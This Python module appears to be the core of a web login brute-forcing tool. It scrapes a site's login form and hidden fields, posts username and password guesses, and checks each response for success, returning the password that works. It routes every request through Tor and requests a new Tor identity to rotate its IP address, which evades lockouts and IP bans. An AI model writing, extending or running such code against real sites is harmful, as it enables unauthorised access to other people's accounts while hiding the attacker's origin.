from collections import OrderedDict
from functools import wraps
from time import sleep

from bs4 import BeautifulSoup
from requests import Session
from requests.exceptions import ConnectionError
from stem import Signal
from stem.control import Controller

from probe.attr import ConnAttr

SRC = ()
URL = []
TOR = {'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050'}


def set_globals():
    """Set globals from methods of ConnAttr."""
    global SRC, URL
    SRC = ConnAttr.pair_src()
    URL = ConnAttr.split_url()


def parse_html(content):
    """Parse content."""
    return BeautifulSoup(content, 'html.parser')


def pair(content, name, value):
    """yield name-value pairs from content."""
    for f in parse_html(content).find_all('input'):
        try:
            nm, v = f[name], f[value]
        except KeyError:
            continue
        if nm not in SRC and bool(v):
            yield nm, v


def add_missing(payload, content):
    """Add required values to payload."""
    for nm, v in pair(content, 'name', 'value'):
        payload[nm] = v


def find_url(content):
    """Return url in a form's action field."""
    return parse_html(content).find('form')['action']


def rm_url_dupes(url):
    """Remove duplicates from new url."""
    rm = URL[1:] + url.split('/')[1:]
    rm = OrderedDict.fromkeys(rm)
    return '{}/{}'.format(URL[0], '/'.join(rm))


def rpl_url(content):
    """Return new or url set in ConnAttr."""
    try:
        return rm_url_dupes(find_url(content))
    except (KeyError, TypeError):
        return ConnAttr.url


def validate_rsp(fn):
    """Base success validation."""

    @wraps(fn)
    def deco(rsp):
        valid = rsp.url != ConnAttr.url and rsp.status_code == 200
        return fn(rsp) and valid

    return deco


@validate_rsp
def validate_json(rsp):
    """Validate if json key equals value."""
    return rsp.json()[ConnAttr.key] == ConnAttr.value


@validate_rsp
def validate_str(rsp):
    """Validate if value is in content."""
    return ConnAttr.value in rsp.content.decode()


@validate_rsp
def validate_url(_):
    """Use base validation."""
    return True


def login(usr, pwd, fn):
    """
    Submit login information to website.
    Return pwd on success, else None.
    """
    payload = ConnAttr.mk_payload(usr, pwd)
    with Session() as s:
        s.proxies = TOR
        content = s.get(ConnAttr.url).content.decode()
        add_missing(payload, content)
        url = rpl_url(content)
        rsp = s.post(url, data=payload)
    return pwd if fn(rsp) else None


def conn_handler(*args):
    """Sleep and retry on ConnectionError."""
    for n in range(1, 6):
        try:
            return login(*args)
        except ConnectionError:
            sleep(n)
    raise ConnectionError('conn_err')


def renew_ip():
    """Request and wait ip renewal."""
    with Controller.from_port(port=9051) as ctrl:
        ctrl.authenticate()
        ctrl.signal(Signal.NEWNYM)
        sleep(ctrl.get_newnym_wait())
